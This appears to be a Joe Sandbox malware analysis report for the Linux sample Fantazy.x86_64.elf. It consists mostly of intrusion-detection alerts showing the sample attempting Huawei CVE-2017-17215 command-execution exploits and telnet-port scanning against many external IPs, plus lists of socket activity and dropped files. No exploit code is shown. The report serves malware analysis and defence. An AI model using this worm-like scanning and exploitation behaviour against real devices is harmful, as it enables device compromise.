2025-02-12T16:54:04.187089+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56874	197.28.5.26	37215	TCP
2025-02-12T16:54:04.187334+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54416	197.83.193.184	37215	TCP
2025-02-12T16:54:04.198556+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51658	157.126.56.126	37215	TCP
2025-02-12T16:54:04.214243+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44192	157.118.250.63	37215	TCP
2025-02-12T16:54:04.218014+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37476	41.207.130.159	37215	TCP
2025-02-12T16:54:04.218223+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56112	41.71.78.114	37215	TCP
2025-02-12T16:54:04.230012+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49920	143.49.130.128	37215	TCP
2025-02-12T16:54:04.261037+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32958	166.114.110.122	37215	TCP
2025-02-12T16:54:04.266659+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	57240	41.208.110.240	37215	TCP
2025-02-12T16:54:04.277284+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35280	157.79.172.230	37215	TCP
2025-02-12T16:54:04.279039+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55848	110.54.190.208	37215	TCP
2025-02-12T16:54:04.372242+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45374	197.175.74.209	37215	TCP
2025-02-12T16:54:04.375195+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46428	172.231.244.114	37215	TCP
2025-02-12T16:54:04.402576+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46476	197.28.158.102	37215	TCP
2025-02-12T16:54:04.403040+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35366	41.156.217.208	37215	TCP
2025-02-12T16:54:04.433184+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58646	41.93.31.93	37215	TCP
2025-02-12T16:54:04.450440+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45942	41.229.147.245	37215	TCP
2025-02-12T16:54:04.452386+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48020	102.218.230.42	37215	TCP
2025-02-12T16:54:04.456889+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46210	85.41.89.213	37215	TCP
2025-02-12T16:54:04.710041+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53888	109.57.192.225	37215	TCP
2025-02-12T16:54:04.733202+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47984	41.212.106.97	37215	TCP
2025-02-12T16:54:05.023172+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41362	197.9.144.94	37215	TCP
2025-02-12T16:54:05.171584+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36892	41.102.184.207	37215	TCP
2025-02-12T16:54:05.214646+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37552	157.38.252.136	37215	TCP
2025-02-12T16:54:05.215999+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50350	148.17.56.213	37215	TCP
2025-02-12T16:54:05.218100+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35250	157.92.44.129	37215	TCP
2025-02-12T16:54:05.261162+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36094	83.35.76.4	37215	TCP
2025-02-12T16:54:05.261853+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35630	168.26.196.128	37215	TCP
2025-02-12T16:54:05.264934+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46006	157.233.238.35	37215	TCP
2025-02-12T16:54:05.282474+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54680	157.123.253.157	37215	TCP
2025-02-12T16:54:05.292278+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43700	61.136.26.110	37215	TCP
2025-02-12T16:54:05.386113+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58690	199.150.47.146	37215	TCP
2025-02-12T16:54:05.386153+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33716	41.28.3.73	37215	TCP
2025-02-12T16:54:05.386193+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58578	41.179.245.7	37215	TCP
2025-02-12T16:54:05.403583+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36468	92.29.133.28	37215	TCP
2025-02-12T16:54:05.403780+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36370	157.221.152.219	37215	TCP
2025-02-12T16:54:05.405362+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46804	197.169.141.16	37215	TCP
2025-02-12T16:54:05.405455+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37838	197.91.38.58	37215	TCP
2025-02-12T16:54:05.901671+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48056	197.64.9.255	37215	TCP
2025-02-12T16:54:06.214353+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43838	197.38.130.34	37215	TCP
2025-02-12T16:54:06.214565+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36928	197.94.14.135	37215	TCP
2025-02-12T16:54:06.214633+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42422	197.209.188.168	37215	TCP
2025-02-12T16:54:06.214760+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56772	157.119.81.29	37215	TCP
2025-02-12T16:54:06.214760+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58814	41.170.0.23	37215	TCP
2025-02-12T16:54:06.214872+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45926	197.79.201.33	37215	TCP
2025-02-12T16:54:06.215187+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49842	197.125.17.154	37215	TCP
2025-02-12T16:54:06.216224+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51186	197.193.79.166	37215	TCP
2025-02-12T16:54:06.217282+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50906	157.133.181.199	37215	TCP
2025-02-12T16:54:06.229775+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38474	180.245.96.120	37215	TCP
2025-02-12T16:54:06.229840+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53130	157.16.67.239	37215	TCP
2025-02-12T16:54:06.229904+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32934	197.95.165.62	37215	TCP
2025-02-12T16:54:06.230729+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48634	41.121.182.82	37215	TCP
2025-02-12T16:54:06.231048+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50574	157.15.136.219	37215	TCP
2025-02-12T16:54:06.231631+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47910	197.57.135.145	37215	TCP
2025-02-12T16:54:06.231662+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44062	41.179.124.128	37215	TCP
2025-02-12T16:54:06.233294+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52546	157.149.84.45	37215	TCP
2025-02-12T16:54:06.233731+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41638	197.50.53.130	37215	TCP
2025-02-12T16:54:06.234247+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34338	41.114.34.159	37215	TCP
2025-02-12T16:54:06.234728+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Source: /tmp/Fantazy.x86_64.elf (PID: 5474)	Socket: 127.0.0.1:59025	Jump to behavior
Source: /lib/systemd/systemd-journald (PID: 5497)	Socket: unknown address family	Jump to behavior
Source: /usr/sbin/gdm3 (PID: 5696)	Socket: unknown address family	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5729)	Socket: unknown address family	Jump to behavior
Source: /usr/libexec/gnome-session-binary (PID: 5730)	Socket: unknown address family	Jump to behavior
Source: /usr/lib/xorg/Xorg (PID: 5787)	Socket: unknown address family	Jump to behavior
Source: /usr/bin/dbus-daemon (PID: 5804)	Socket: unknown address family
Source: /usr/bin/dbus-daemon (PID: 5823)	Socket: unknown address family
Source: /usr/libexec/gnome-session-binary (PID: 5805)	Socket: unknown address family
Source: /usr/bin/ibus-daemon (PID: 5976)	Socket: unknown address family

Source: unknown	TCP traffic detected without corresponding DNS query: 112.51.19.147
Source: unknown	TCP traffic detected without corresponding DNS query: 186.144.18.147
Source: unknown	TCP traffic detected without corresponding DNS query: 87.116.3.171
Source: unknown	TCP traffic detected without corresponding DNS query: 169.138.68.148
Source: unknown	TCP traffic detected without corresponding DNS query: 144.81.51.56
Source: unknown	TCP traffic detected without corresponding DNS query: 175.111.116.1
Source: unknown	TCP traffic detected without corresponding DNS query: 101.206.42.205
Source: unknown	TCP traffic detected without corresponding DNS query: 91.25.240.147
Source: unknown	TCP traffic detected without corresponding DNS query: 167.206.103.62
Source: unknown	TCP traffic detected without corresponding DNS query: 78.80.237.172
Source: unknown	TCP traffic detected without corresponding DNS query: 72.173.122.108
Source: unknown	TCP traffic detected without corresponding DNS query: 166.207.15.21
Source: unknown	TCP traffic detected without corresponding DNS query: 2.182.85.225
Source: unknown	TCP traffic detected without corresponding DNS query: 128.29.19.66
Source: unknown	TCP traffic detected without corresponding DNS query: 100.183.51.58
Source: unknown	TCP traffic detected without corresponding DNS query: 95.161.98.116
Source: unknown	TCP traffic detected without corresponding DNS query: 173.237.111.230
Source: unknown	TCP traffic detected without corresponding DNS query: 48.176.224.166
Source: unknown	TCP traffic detected without corresponding DNS query: 1.73.45.189
Source: unknown	TCP traffic detected without corresponding DNS query: 156.46.164.66
Source: unknown	TCP traffic detected without corresponding DNS query: 189.223.101.154
Source: unknown	TCP traffic detected without corresponding DNS query: 72.167.212.47
Source: unknown	TCP traffic detected without corresponding DNS query: 24.3.161.104
Source: unknown	TCP traffic detected without corresponding DNS query: 191.47.48.91
Source: unknown	TCP traffic detected without corresponding DNS query: 27.198.165.158
Source: unknown	TCP traffic detected without corresponding DNS query: 190.54.242.9
Source: unknown	TCP traffic detected without corresponding DNS query: 168.154.170.216
Source: unknown	TCP traffic detected without corresponding DNS query: 114.214.198.106
Source: unknown	TCP traffic detected without corresponding DNS query: 79.195.166.113
Source: unknown	TCP traffic detected without corresponding DNS query: 193.51.168.237
Source: unknown	TCP traffic detected without corresponding DNS query: 12.124.200.164
Source: unknown	TCP traffic detected without corresponding DNS query: 194.182.191.71
Source: unknown	TCP traffic detected without corresponding DNS query: 67.204.56.192
Source: unknown	TCP traffic detected without corresponding DNS query: 45.205.82.110
Source: unknown	TCP traffic detected without corresponding DNS query: 196.127.252.95
Source: unknown	TCP traffic detected without corresponding DNS query: 27.246.201.231
Source: unknown	TCP traffic detected without corresponding DNS query: 167.6.108.192
Source: unknown	TCP traffic detected without corresponding DNS query: 182.35.254.24
Source: unknown	TCP traffic detected without corresponding DNS query: 104.154.181.23
Source: unknown	TCP traffic detected without corresponding DNS query: 114.62.78.238
Source: unknown	TCP traffic detected without corresponding DNS query: 146.148.13.168
Source: unknown	TCP traffic detected without corresponding DNS query: 101.32.71.205
Source: unknown	TCP traffic detected without corresponding DNS query: 147.77.208.155
Source: unknown	TCP traffic detected without corresponding DNS query: 121.133.0.82
Source: unknown	TCP traffic detected without corresponding DNS query: 62.166.185.12
Source: unknown	TCP traffic detected without corresponding DNS query: 147.255.230.162
Source: unknown	TCP traffic detected without corresponding DNS query: 219.48.14.246
Source: unknown	TCP traffic detected without corresponding DNS query: 86.143.55.190
Source: unknown	TCP traffic detected without corresponding DNS query: 141.90.3.7
Source: unknown	TCP traffic detected without corresponding DNS query: 83.7.245.53

Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 112.51.19.147:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 91.25.240.147:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 114.214.198.106:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 193.51.168.237:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 219.48.14.246:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 83.7.245.53:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 194.120.210.248:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 133.72.179.152:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 189.183.22.169:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 116.62.223.63:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 89.237.112.184:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 2.129.198.122:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 102.36.242.221:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 149.137.17.135:2323
Source: global traffic	TCP traffic: 192.168.2.14:8304 -> 159.247.125.60:2323
Source: global traffic	TCP traffic: 192.168.2.14:45016 -> 45.149.241.90:63645
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 8.75.19.147:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 157.146.9.144:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 41.148.75.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 197.141.174.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 157.72.40.158:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 157.99.93.165:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 157.127.179.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 157.112.178.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 197.107.8.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 41.173.117.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 197.136.183.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 157.195.117.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 157.31.155.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 61.52.59.36:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 157.121.247.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 8.233.234.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 41.253.86.197:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 84.74.210.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 197.186.123.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 123.222.79.172:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 41.229.115.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 85.9.48.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 197.7.202.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:12144 -> 134.19.93.104:37215

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report Fantazy.x86_64.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/home/saturnino/.config/pulse/ee49dfd4fa47433baee88884e2d7de7c-default-sink

/home/saturnino/.config/pulse/ee49dfd4fa47433baee88884e2d7de7c-default-source

/proc/5734/oom_score_adj

/proc/5737/oom_score_adj

/proc/5739/oom_score_adj

/proc/5741/oom_score_adj

/proc/5743/oom_score_adj

/proc/5745/oom_score_adj

/proc/5748/oom_score_adj

/proc/5818/oom_score_adj

/proc/5845/oom_score_adj

/proc/5848/oom_score_adj

/proc/5850/oom_score_adj

/proc/5852/oom_score_adj

/proc/5854/oom_score_adj

/proc/5856/oom_score_adj

/proc/5861/oom_score_adj

/proc/6022/oom_score_adj

/proc/6181/oom_score_adj

/proc/6195/oom_score_adj

/proc/6396/oom_score_adj

/run/avahi-daemon/pid

/run/gdm3.pid

/run/systemd/inhibit/.#1eeRSJJ

/run/systemd/inhibit/.#29XpH7J

Linux Analysis Report
Fantazy.x86_64.elf